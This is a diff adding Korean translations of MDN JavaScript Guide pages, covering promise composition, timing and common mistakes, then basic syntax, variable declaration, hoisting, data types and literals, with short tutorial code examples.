+<p>이상적인 프로그래밍 세계에서는 모든 비동기 함수는 promise을 반환해야 하지만. 불행히도 일부 API는 여전히 success 및 / 또는 failure 콜백을 전달하는 방식일거라 생각합니다.. 예를 들면 {{domxref ( "WindowTimers.setTimeout", "setTimeout ()")}} 함수가 있습니다.</p>
+
+<pre class="notranslate"><code>setTimeout(() =&gt; saySomething("10 seconds passed"), 10000);</code>
+</pre>
+
+<p>예전 스타일의 콜백과 Promise를 합치는것 문제가 있습니다. 함수 <code>saySomething()</code>이 실패하거나 프로그래밍 오류가 있으면 아무 것도 잡아 내지 않습니다. <code>setTimeout</code>의 문제점 입니다.</p>
+
+<p>다행히도 우리는 <code>setTimeout</code>을 Promise로 감쌀 수 있습니다. 가장 좋은 방법은 가능한 가장 낮은 수준에서 문제가되는 함수를 래핑 한 다음 다시는 직접 호출하지 않는 것입니다.</p>
+
+<pre class="notranslate"><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);</code>
+</pre>
+
+<p>기본적으로 promise constructor는 promise를 직접 해결하거나 reject 할 수 있는 실행자 함수를 사용합니다. <code>setTimeout()</code>은 함수에서 fail이 일어나거나 error가 발생하지 않기 때문에 이 경우 reject를 사용하지 않습니다.</p>
+
+<h2 id="Composition">Composition</h2>
+
+<p>{{jsxref ( "Promise.resolve ()")}}와 {{jsxref ( "Promise.reject ()")}}는 각각 이미 resolve되거나 reject 된 promise를 여러분이 직접 생성하기위한 바로 가기입니다. 가끔 유용하게 사용됩니다.</p>
+
+<p>{{jsxref("Promise.all()")}}와 {{jsxref("Promise.race()")}}는 비동기 작업을 병렬로 실행하기위한 두 가지 구성 도구입니다.</p>
+
+<p>우리는 병렬로 작업을 시작하고 모든 작업이 다음과 같이 끝날 때까지 기다릴 수 있습니다.</p>
+
+<pre class="notranslate"><code>Promise.all([func1(), func2(), func3()])
+.then(([result1, result2, result3]) =&gt; { /* use result1, result2 and result3 */ });</code></pre>
+
+<p>Sequential composition is possible using some clever JavaScript:</p>
+
+<p>고급진 JavaScript를 사용하여 순차적 구성이 가능합니다.</p>
+
+<pre class="notranslate"><code>[func1, func2, func3].reduce((p, f) =&gt; p.then(f), Promise.resolve())
+.then(result3 =&gt; { /* use result3 */ });</code>
+</pre>
+
+<p>기본적으로 <code>Promise.resolve().then(func1).then(func2).then(func3);</code>과 같은 약속 체인으로 비동기 함수 배열을 축소합니다.</p>
+
+<p>이것은 재사용 가능한 작성 기능으로 만들 수 있는데, 이는 함수형 프로그래밍에서 일반적인 방식입니다.</p>
+
+<pre class="notranslate"><code>const applyAsync = (acc,val) =&gt; acc.then(val);
+const composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</code>
+</pre>
+
+<p><code>composeAsync()</code> 함수는 여러 함수를 인수로 받아들이고 composition 파이프 라인을 통해 전달되는 초기 값을 허용하는 새 함수를 반환합니다.</p>
+
+<pre class="notranslate"><code>const transformData = composeAsync(func1, func2, func3);
+const result3 = transformData(data);</code>
+</pre>
+
+<p>ECMAScript 2017에서는 async / await를 사용하여 순차적 구성을보다 간단하게 수행 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>let result;
+for (const f of [func1, func2, func3]) {
+ result = await f(result);
+}
+/* use last result (i.e. result3) */</code></pre>
+
+<h2 id="Timing">Timing</h2>
+
+<p>To avoid surprises, functions passed to <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> will never be called synchronously, even with an already-resolved promise:</p>
+
+<p>놀라움(역자 주. 에러가 난다거나, 코드가 문제가 생긴다거나..했을때의 그 놀라움..)을 피하기 위해 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code>에 전달 된 함수는 already-resolved promise에 있는 경우에도 동기적으로 호출되지 않습니다.</p>
+
+<pre class="notranslate"><code>Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2</code>
+</pre>
+
+<p>즉시 실행되는 대신 전달 된 함수는 마이크로 태스크 대기열에 저장됩니다. 즉, 자바 스크립트 이벤트 루프의 현재 실행이 끝날 때 대기열이 비면 나중에 실행됩니다.</p>
+
+<pre class="notranslate"><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait().then(() =&gt; console.log(4));
+Promise.resolve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4</code></pre>
+
+<h2 id="Nesting">Nesting</h2>
+
+<div class="blockIndicator note">
+<p>역자 주. 아래부분에 대한 번역이 미흡합니다. 원문을 참고해 주세요</p>
+</div>
+
+<p>간단한 promise 체인은 중첩이 부주의 한 구성의 결과 일 수 있으므로 중첩하지 않고 평평하게 유지하는 것이 가장 좋습니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises#Common_mistakes">common mistakes</a>를 참조하십시오.</p>
+
+<p>(Simple promise chains are best kept flat without nesting, as nesting can be a result of careless composition. See <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises#Common_mistakes">common mistakes</a>.)</p>
+
+<p>중첩은 <code>catch</code> 문 범위를 제한하는 제어 구조입니다. 특히, 중첩 된 <code>catch</code>는 중첩 된 범위 외부의 체인에있는 오류가 아닌 범위 및 그 이하의 오류 만 잡습니다. 올바르게 사용하면 오류 복구에서보다 정확한 결과를 얻을 수 있습니다.</p>
+
+<pre class="notranslate"><code>doSomethingCritical()
+.then(result =&gt; doSomethingOptional(result)
+ .then(optionalResult =&gt; doSomethingExtraNice(optionalResult))
+ .catch(e =&gt; {})) // Ignore if optional stuff fails; proceed.
+.then(() =&gt; moreCriticalStuff())
+.catch(e =&gt; console.log("Critical failure: " + e.message));</code>
+</pre>
+
+<p>여기에 있는 선택적 단계는 들여 쓰기가 아닌 중첩되어 있지만 주위의 바깥 쪽 <code>(</code> 및 <code>)</code> 의 규칙적이지 않은 배치를 하지않도록 조심하세요.</p>
+
+<p>inner neutralizing <code>catch</code> 문은 <code>doSomethingOptional()</code>및 <code>doSomethingExtraNice()</code>에서 발생한 오류를 catch 한 후에 코드가 <code>moreCriticalStuff()</code>로 다시 시작됩니다. 중요하게도 <code>doSomethingCritical()</code>이 실패하면 해당 오류는 최종 (외부) <code>catch</code>에 의해서만 포착됩니다.</p>
+
+<h2 id="Common_mistakes">Common mistakes</h2>
+
+<p>promise chains을 작성할 때 주의해야 할 몇 가지 일반적인 실수는 다음과 같습니다. 이러한 실수 중 몇 가지는 다음 예제에서 나타납니다.</p>
+
+<pre class="notranslate"><code>// Bad example! Spot 3 mistakes!
+
+doSomething().then(function(result) {
+ doSomethingElse(result) // Forgot to return promise from inner chain + unnecessary nesting
+ .then(newResult =&gt; doThirdThing(newResult));
+}).then(() =&gt; doFourthThing());
+// Forgot to terminate chain with a catch!</code>
+</pre>
+
+<p>첫 번째 실수는 제대로 체인을 연결하지 않는 것입니다. 이것은 우리가 새로운 promise를 만들었지 만 그것을 반환하는 것을 잊었을때 일어납니다. 결과적으로 체인이 끊어 지거나 오히려 두 개의 독립적 인 체인이 경쟁하게됩니다. 즉, <code>doFourthThing()</code>은 <code>doSomethingElse()</code> 또는 <code>doThirdThing()</code>이 완료 될 때까지 기다리지 않고 의도하지 않은 것처럼 병렬로 실행됩니다. 별도의 체인은 별도의 오류 처리 기능을 가지고있어서 잡기 어려운 오류가 발생합니다.</p>
+
+<p>두 번째 실수는 불필요하게 중첩되어 첫 번째 실수를 가능하게 만드는 것입니다. 중첩은 내부 오류 처리기의 범위를 제한합니다. 의도하지 않은 경우 에러가 캐치되지 않는 오류가 발생할 수 있습니다. 이 변형은 <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">promise constructor anti-pattern</a>입니다.이 패턴은 이미 약속을 사용하는 코드를 감싸기 위해 promise 생성자의 중복 사용과 중첩을 결합합니다.</p>
+
+<p>세 번째 실수는 <code>catch</code>로 체인을 종료하는 것을 잊는 것입니다. 약속되지 않은 약속 체인은 대부분의 브라우저에서 예상하지 못한 약속 거부를 초래합니다.</p>
+
+<p>좋은 경험 법칙은 항상 약속의 사슬을 반환하거나 종결하는 것이며, 새로운 약속을 얻 자마자 즉각적으로 돌려서 물건을 평평하게하는 것입니다.</p>
+
+<pre class="notranslate"><code>doSomething()
+.then(function(result) {
+ return doSomethingElse(result);
+})
+.then(newResult =&gt; doThirdThing(newResult))
+.then(() =&gt; doFourthThing())
+.catch(error =&gt; console.log(error));</code></pre>
+
+<p><code>() =&gt; x</code> 은  <code>() =&gt; { return x; }</code>.의 축약형임을 참고하세요</p>
+
+<p>이제는 적절한 오류 처리 기능을 갖춘 결정성있는 단일 체인이 있습니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a>를 사용하면 대부분의 문제를 해결할 수 있습니다. 이러한 문법의 가장 흔한 실수는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>키워드를 빼먹는 것입니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> </li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
diff --git a/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html b/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html
new file mode 100644
index 0000000000..629cbd069a
--- /dev/null
+++ b/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html
@@ -0,0 +1,708 @@
+---
+title: 문법과 자료형
+slug: 'Web/JavaScript/Guide/Values,_variables,_and_literals'
+tags:
+ - Guide
+ - JavaScript
+ - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/소개", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">이 장은 JavaScript의 기본 문법과 변수 선언, 자료형 및 리터럴을 다룹니다.</p>
+
+<h2 id="기본">기본</h2>
+
+<p>JavaScript는 문법의 대부분을 Java와 C, C++로부터 차용하고 있으며, Awk, Perl, Python의 영향도 받았습니다.</p>
+
+<p>JavaScript는 <strong>대소문자를 구별</strong>하며 <strong>유니코드</strong> 문자셋을 이용합니다. 따라서 다음과 같은 코드도 유효합니다.</p>
+
+<pre class="brush: js">var 갑을 = "병정";
+var Früh = "foobar"; // Früh: 독일어로 "이른"
+</pre>
+
+<p>하지만 <code>Früh</code>는 <code>früh</code>와 다릅니다. 대소문자를 구분하기 때문입니다.</p>
+
+<p>JavaScript에서는 명령을 {{Glossary("Statement", "명령문(statement)")}}이라고 부르며, 세미콜론(<code>;</code>)으로 구분합니다.</p>
+
+<p>명령문이 한 줄을 다 차지할 경우에는 세미콜론이 필요하지 않습니다. 그러나 한 줄에 두 개 이상의 명령문이 필요하다면 세미콜론으로 구분해야 합니다. ECMAScript는 세미콜론을 자동으로 삽입해 명령문을 끝내는 규칙(ASI)도 가지고 있습니다. (더 많은 정보는 JavaScript의 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar">어휘 문법 에 대한 자세한 참고서</a>를 참고하세요) 하지만, 세미콜론이 필요하지 않은 경우라도 항상 세미콜론으로 끝마치는 편이 버그 예방 차원에서 더 좋은 습관이라고 여겨집니다.</p>
+
+<p>JavaScript의 스크립트 소스는 왼쪽에서 오른쪽으로 탐색하면서 토큰, 제어 문자, 줄바꿈 문자, 주석이나 공백으로 이루어진 입력 element의 시퀀스로 변환됩니다. 스페이스, 탭, 줄바꿈 문자는 공백으로 간주됩니다.</p>
+
+<h2 id="주석">주석</h2>
+
+<p><strong>주석</strong>의 구문은 C++ 및 다른 많은 언어와 똑같습니다.</p>
+
+<pre class="brush: js">// 한 줄 주석
+
+/* 이건 더 긴,
+ * 여러 줄 주석입니다.
+ */
+
+/* 그러나, /* 중첩된 주석은 쓸 수 없습니다 */ SyntaxError */</pre>
+
+<p>주석은 공백처럼 행동하며 스크립트 실행 시 버려집니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 몇몇 자바스크립트 파일의 시작부에 <code>#!/usr/bin/env node</code>와 같은 형태의 주석 문법이 쓰이는 것을 볼 수 있습니다. 이것은 <strong>해시백 주석</strong> 문법이라고 하는데, 이 특별한 주석은 스크립트를 실행할 때 쓸 특별한 자바스크립트 인터프리터의 경로를 설정할 때 쓰입니다.  <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Hashbang_comments">해시백 주석</a>을 참고하여 자세한 내용을 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="선언">선언</h2>
+
+<p>JavaScript의 선언에는 3가지 방법이 있습니다.</p>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>변수를 선언. 추가로 동시에 값을 초기화.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>블록 범위(scope) 지역 변수를 선언. 추가로 동시에 값을 초기화.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>블록 범위 읽기 전용 상수를 선언.</dd>
+</dl>
+
+<h3 id="변수">변수</h3>
+
+<p>어플리케이션에서 값에 상징적인 이름으로 변수를 사용합니다. 변수명은 {{Glossary("식별자(identifier)")}}라고 불리며 특정 규칙을 따릅니다.</p>
+
+<p>JavaScript 식별자는 문자, 밑줄(_) 혹은 달러 기호($)로 시작해야 하는 반면 이후는 숫자(0-9)일 수도 있습니다. JavaScript가 대소문자를 구분하기에, 문자는 "A"부터 "Z"(대문자)와 "a"부터 "z"(소문자)까지 모두 포함합니다.</p>
+
+<p>ISO 8859-1 혹은 Unicode 문자(가령 å 나 ü)도 식별자에 사용할 수 있습니다(좀 더 상세한 내용은 <a href="https://mathiasbynens.be/notes/javascript-identifiers-es6">이 블로그 글</a>을 참고). 또한 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>도 식별자에 문자로 사용할 수 있습니다.</p>
+
+<p>적절한 이름으로는 <code>Number_hits</code>, <code>temp99, $credit</code> 및 <code>_name</code>등입니다.</p>
+
+<h3 id="변수_선언">변수 선언</h3>
+
+<p>변수 선언은 아래 3가지 방법으로 가능합니다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/var", "var")}} 키워드로. 예를 들어, <code>var x = 42</code>. 이 구문은 지역 및 전역 변수를 선언하는데 모두 사용될 수 있습니다.</li>
+ <li>{{jsxref("Statements/let", "let")}} 키워드로. 예를 들어, <code>let y = 13</code>. 이 구문은 블록 범위 지역 변수를 선언하는데 사용될 수 있습니다. 아래 <a href="/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#변수_범위">변수 범위</a> 참고하세요.</li>
+</ul>
+
+<p>간단히 변수에 값을 할당 할 수도 있습니다. 예를 들어, <code>x = 42 </code>와 같은 구문은 <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#Description">선언되지 않는 전역변수 </a></strong>를 만듭니다. 뿐만 아니라, 자바스크립트의 엄격한 경고를 만들어냅니다. 선언되지 않은 전역변수는 의도되지 않은 동작을 만들어내고는 합니다. 따라서 선언되지 않는 전역변수를 사용하면 안됩니다.</p>
+
+<h3 id="변수_할당">변수 할당</h3>
+
+<p>지정된 초기값 없이 <code>var</code> 혹은 <code>let</code> 문을 사용해서 선언된 변수는 {{jsxref("undefined")}} 값을 갖습니다.</p>
+
+<p>선언되지 않은 변수에 접근을 시도하는 경우 {{jsxref("ReferenceError")}} 예외가 발생합니다.</p>
+
+<pre class="brush: js">var a;
+console.log("a 값은 " + a); // "a 값은 undefined"로 로그가 남음.
+
+console.log('b 값은 ' + b); // b 값은 undefined
+var b;
+
+console.log("c 값은 " + c); // ReferenceError 예외 던짐
+
+let x;
+console.log('x 값은 ' + x); // x 값은 undefined
+
+console.oog('y 값은 ' + y); // ReferenceError 예외 던짐
+let y;
+</pre>
+
+<p><code>undefined</code>를 사용하여 변수값이 있는지 확인할 수 있습니다. 아래 코드에서, <code>input</code> 변수는 값이 할당되지 않았고 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>문은 <code>true</code>로 평가합니다.</p>
+
+<pre class="brush: js">var input;
+if(input === undefined) {
+ doThis();
+} else {
+ doThat();
+}
+</pre>
+
+<p><code>undefined</code> 값은 <code>boolean</code> 문맥(context)에서 사용될 때 <code>false</code>로 동작합니다. 예를 들어, 아래 코드는 <code>myArray</code> 요소가 <code>undefined</code>이므로 <code>myFunction</code> 함수를 실행합니다.</p>
+
+<pre class="brush: js">var myArray = [];
+if (!myArray[0]) myFunction();
+</pre>
+
+<p><code>undefined</code> 값은 수치 문맥에서 사용될 때 <code>NaN</code>으로 변환됩니다.</p>
+
+<pre class="brush: js">var a;
+a + 2; // NaN으로 평가</pre>
+
+<p>{{jsxref("null")}} 값을 평가할 때, 수치 문맥에서는 0으로, <code>boolean</code> 문맥에서는 <code>false</code>로 동작합니다. 예를 들면,</p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // 콘솔에 0 으로 로그가 남음.
+</pre>
+
+<h3 id="변수_범위">변수 범위</h3>
+
+<p>어떤 함수의 바깥에 변수를 선언하면, 현재 문서의 다른 코드에 해당 변수를 사용할 수 있기에 <em>전역</em> 변수라고 합니다. 만약 함수 내부에 변수를 선언하면, 오직 그 함수 내에서만 사용할 수 있기에 <em>지역</em> 변수라고 부릅니다.</p>
+
+<p>ECMAScript 6 이전의 JavaScript는 <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_문">block 문</a> 범위가 없습니다. 그래서 오히려, 블록 내에 선언된 변수는 그 블록 내에 존재하는 <em>함수(혹은 전역 범위)</em>에 지역적입니다. 예를 들어서 아래의 코드는 5라는 로그를 남깁니다. <code>x</code>의 범위가 이 경우 <code>if</code>문 블록이 아니라 x가 선언된 함수(나 전역 문맥)이기 때문입니다.</p>
+
+<pre class="brush: js">if (true) {
+ var x = 5;
+}
+console.log(x); // 5
+</pre>
+
+<p>ECMAScript 6에 도입된 <code>let</code> 선언을 사용했을 때, 이 동작은 바뀌었습니다.</p>
+
+<pre class="brush: js">if (true) {
+ let y = 5;
+}
+console.log(y); // ReferenceError: y is not defined</pre>
+
+<h3 id="변수_호이스팅">변수 호이스팅</h3>
+
+<p>또 다른 JavaScript 변수의 특이한 점은 예외를 받지 않고도, 나중에 선언된 변수를 참조할 수 있다는 것입니다. 이 개념은 <strong>호이스팅</strong>(hoisting)으로 알려져 있습니다. 즉 JavaScript 변수가 어떤 의미에서 "끌어올려지거"나 함수나 문의 최상단으로 올려지는 것을 말합니다. 하지만, 끌어올려진 변수는 <code>undefined</code> 값을 반환합니다. 그래서 심지어 이 변수를 사용 혹은 참조한 후에 선언 및 초기화하더라도, 여전히 <code>undefined</code>를 반환합니다.</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+console.log(x === undefined); // logs "true"
+var x = 3;
+
+
+/**
+ * Example 2
+ */
+// undefined 값을 반환함.
+var myvar = "my value";
+
+(function() {
+ console.log(myvar); // undefined
+ var myvar = "local value";
+})();
+</pre>
+
+<p>위 예제는 아래 예제와 동일하게 볼 수 있습니다.</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+var x;
+console.log(x === undefined); // logs "true"
+x = 3;
+
+/**
+ * Example 2
+ */
+var myvar = "my value";
+
+(function() {
+ var myvar;
+ console.log(myvar); // undefined
+ myvar = "local value";
+})();</pre>
+
+<p>호이스팅 때문에, 함수 내의 모든 <code>var</code> 문은 가능한 함수 상단 근처에 두는 것이 좋습니다. 이 방법은 코드를 더욱 명확하게 만들어줍니다.</p>
+
+<p>ECMAScript 2015의 let (const)는 변수를 블록의 상단으로 올리지 않습니다.<br>
+ 변수가 선언되기 전에 블록 안에서 변수를 참조하게 되면 {{jsxref("ReferenceError")}}를 발생시키게 됩니다.<br>
+ 변수는 블록 시작부터 선언이 처리될 때까지 'temporal dead zone'에 위치하게 됩니다.</p>
+
+<pre><code>console.log(x); // ReferenceError
+let x = 3;</code>
+</pre>
+
+<h3 id="함수_호이스팅">함수 호이스팅</h3>
+
+<p>함수에서는 단지 함수 선언만 상단으로 끌어올려집니다. 함수 표현식은 그렇지 않습니다.</p>
+
+<pre class="brush: js">/* 함수 선언 */
+
+foo(); // "bar"
+
+function foo() {
+ console.log('bar');
+}
+
+
+/* 함수 표현식 */
+
+baz(); // TypeError: baz is not a function
+
+var baz = function() {
+ console.log('bar2');
+};</pre>
+
+<h3 id="전역_변수">전역 변수</h3>
+
+<p>전역 변수는 사실 <em>global 객체</em>의 속성(property)입니다. 웹 페이지에서 global 객체는 {{domxref("window")}} 이므로, <code>windows.<em>variable</em></code> 구문을 통해 전역 변수를 설정하고 접근할 수 있습니다.</p>
+
+<p>그 결과, window 혹은 frame의 이름을 지정하여 한 window 혹은 frame에서 다른 window 혹은 frame에 선언된 전역 변수에 접근할 수 있습니다. 예를 들어, <code>phoneNumber</code> 라는 변수가 문서에 선언된 경우, iframe에서 <code>parent.phoneNumber</code>로 이 변수를 참조할 수 있습니다.</p>
+
+<h2 id="상수">상수</h2>
+
+<p>{{jsxref("Statements/const", "const")}} 키워드로 읽기 전용 상수를 만들 수 있습니다. 상수 식별자의 구문은 변수 식별자와 같습니다. 문자, 밑줄이나 달러 기호로 시작해야 하고 문자, 숫자나 밑줄을 포함할 수 있습니다.</p>
+
+<pre class="brush: js">const PI = 3.14;
+</pre>
+
+<p>상수는 스크립트가 실행 중인 동안 대입을 통해 값을 바꾸거나 재선언될 수 없습니다. 값으로 초기화해야 합니다.</p>
+
+<p>상수에 대한 범위 규칙은 <code>let</code> 블록 범위 변수와 동일합니다. 만약 <code>const</code> 키워드가 생략된 경우에는, 식별자는 변수를 나타내는 것으로 간주됩니다.</p>
+
+<p>상수는 같은 범위에 있는 함수나 변수와 동일한 이름으로 선언할 수 없습니다. 예를 들어,</p>
+
+<pre class="brush: js">// 오류가 발생합니다
+function f() {};
+const f = 5;
+
+// 역시 오류가 발생합니다
+function f() {
+ const g = 5;
+ var g;
+
+ //statements
+}
+</pre>
+
+<p>그러나, 상수에 할당된 객체의 속성은 보호되지 않아서 다음의 문은 문제없이 실행됩니다.</p>
+
+<pre class="brush: js">const MY_OBJECT = {'key': 'value'};
+MY_OBJECT.key = 'otherValue';
+</pre>
+
+<p>또한, 배열의 내용도 보호되지 않아서 다음의 문도 문제없이 실행됩니다.</p>
+
+<pre class="brush: js">const MY_ARRAY = ['HTML','CSS'];
+MY_ARRAY.push('JAVASCRIPT');
+console.log(MY_ARRAY); //logs ['HTML','CSS','JAVASCRIPT'];
+</pre>
+
+<h2 id="데이터_구조_및_형">데이터 구조 및 형</h2>
+
+<h3 id="데이터_형">데이터 형</h3>
+
+<p>최신 ECMAScript 표준은 7가지 데이터 형을 정의합니다.</p>
+
+<ul>
+ <li>6가지 {{Glossary("Primitive", "원시")}} 데이터 형
+ <ul>
+ <li>{{Glossary("Boolean")}}. true와 false</li>
+ <li>{{Glossary("null")}}. null 값을 나타내는 특별한 키워드. JavaScript는 대소문자를 구분하므로, null은 Null, NULL 혹은 다른 변형과도 다릅니다.</li>
+ <li>{{Glossary("undefined")}}. 값이 저장되어 있지 않은 최상위 속성.</li>
+ <li>{{Glossary("Number")}}. 정수 또는 실수형 숫자. 예:42 혹은 3.14159.</li>
+ <li>{{Glossary("String")}}. 문자열. 예:"안녕"</li>
+ <li>{{Glossary("Symbol")}}. (ECMAScript 6에 도입) 인스턴스가 고유하고 불변인 데이터 형.</li>
+ </ul>
+ </li>
+ <li>그리고 {{Glossary("Object")}}</li>
+</ul>
+
+<p>이 데이터 형이 비교적 많지 않지만, 어플리케이션에 유용한 기능을 수행할 수 있습니다. {{jsxref("Object", "객체")}}와 {{jsxref("Function", "함수")}}는 언어의 다른 기본 요소입니다. 객체는 값을 위한 컨테이너, 함수는 어플리케이션이 수행할 수 있는 절차(procedure)로 생각할 수 있습니다.</p>
+
+<h3 id="자료형_변환">자료형 변환</h3>
+
+<p>JavaScript는 동적 형지정(정형) 언어입니다. 이는 변수를 선언할 때 데이터 형을 지정할 필요가 없음을 의미합니다. 또한 데이터 형이 스크립트 실행 도중 필요에 의해 자동으로 변환됨을 뜻합니다. 그래서, 예를 들어, 다음과 같이 변수를 정의할 수 있습니다.</p>
+
+<pre class="brush: js">var answer = 42;</pre>
+
+<p>그리고 나중에, 동일한 변수에 문자열 값을 할당할 수도 있습니다. 아래와 같이,</p>
+
+<pre class="brush: js">answer = "Thanks for all the fish...";
+</pre>
+
+<p>JavaScript는 동적 형지정 언어이므로, 이 할당은 오류 메시지가 발생하지 않습니다.</p>
+
+<p>숫자와 문자열 값 사이에 + 연산자를 포함한 식에서, JavaScript는 숫자 값을 문자열로 변환합니다. 예를 들어, 아래와 같은 문이 있습니다.</p>
+
+<pre class="brush: js">x = "The answer is " + 42 // "The answer is 42"
+y = 42 + " is the answer" // "42 is the answer"</pre>
+
+<p>다른 연산자를 포함한 식의 경우, JavaScript는 숫자 값을 문자열로 변환하지 않습니다. 예를 들면,</p>
+
+<pre class="brush: js">"37" - 7 // 30
+"37" + 7 // 377
+</pre>
+
+<h3 id="문자열을_숫자로_변환하기">문자열을 숫자로 변환하기</h3>
+
+<p>숫자를 나타내는 값이 문자열로 메모리에 있는 경우, 변환을 위한 메서드가 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code>는 오직 정수만 반환하므로, 소수에서는 사용성이 떨어집니다. 게다가 <code>parseInt</code>를 잘 사용하기 위해서는 항상 진법(Radix) 매개변수를 포함해야 합니다. 진법 매개변수는 변환에 사용될 진법을 지정하는데 사용됩니다.</p>
+
+<p>문자열을 숫자로 변환하는 대안은 +(단항 더하기) 연산자입니다.</p>
+
+<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
+(+"1.1") + (+"1.1") = 2.2
+// 참고: 괄호는 명확성을 위해 추가, 필요한 것은 아닙니다.
+</pre>
+
+<h2 id="리터럴">리터럴</h2>
+
+<p>JavaScript에서 값을 나타내기 위해 리터럴을 사용합니다. 이는 말 그대로 스크립트에 부여한 고정값으로, 변수가 아닙니다. 이 절에서는 다음과 같은 형태의 리터럴을 설명합니다.</p>
+
+<ul>
+ <li>{{anch("배열_리터럴", "배열 리터럴")}}</li>
+ <li>{{anch("불린_리터럴", "불린 리터럴")}}</li>
+ <li>{{anch("부동_소수점_리터럴", "부동 소수점 리터럴")}}</li>
+ <li>{{anch("정수", "정수")}}</li>
+ <li>{{anch("객체_리터럴", "객체 리터럴")}}</li>
+ <li>{{anch("정규식_리터럴", "정규식 리터럴")}}</li>
+ <li>{{anch("문자열_리터럴", "문자열 리터럴")}}</li>
+</ul>
+
+<h3 id="배열_리터럴">배열 리터럴</h3>
+
+<p>배열 리터럴은 0개 이상의 식(expression) 목록입니다. 각 식은 배열 요소를 나타내고 대괄호(<code>[]</code>)로 묶입니다. 배열 리터럴을 사용하여 배열을 만들 때, 그 요소로 지정된 값으로 초기화되고, 그 길이는 지정된 인수의 갯수로 설정됩니다.</p>
+
+<p>아래 예제는 요소가 3개로 길이가 3인 coffees 배열을 만듭니다.</p>
+
+<pre class="brush: js">var coffees = ["French Roast", "Colombian", "Kona"];
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 배열 리터럴은 일종의 객체 이니셜라이저(initialiizer)입니다. <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers">Using Object Initializers</a> 참고.</p>
+</div>
+
+<p>배열이 최상단 스크립트에서 리터럴을 사용하여 만들어진 경우, JavaScript는 배열 리터럴을 포함한 식을 평가할 때마다 배열로 해석합니다. 게다가, 함수에서 사용되는 리터럴은 함수가 호출될 때마다 생성됩니다.</p>
+
+<p>배열 리터럴은 배열 객체입니다. 배열 객체에 대한 자세한 내용은 {{jsxref("Array")}}와 <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> 참고.</p>
+
+<h4 id="배열_리터럴의_추가_쉼표">배열 리터럴의 추가 쉼표</h4>
+
+<p>배열 리터럴에서 모든 요소를 지정할 필요는 없습니다. 만약 잇달아 두 개의 쉼표를 두면, 배열은 지정되지 않은 요소를 <code>undefined</code>로 만듭니다. 다음 예제는 <code>fish</code> 배열을 만듭니다.</p>
+
+<pre class="brush: js">var fish = ["Lion", , "Angel"];
+</pre>
+
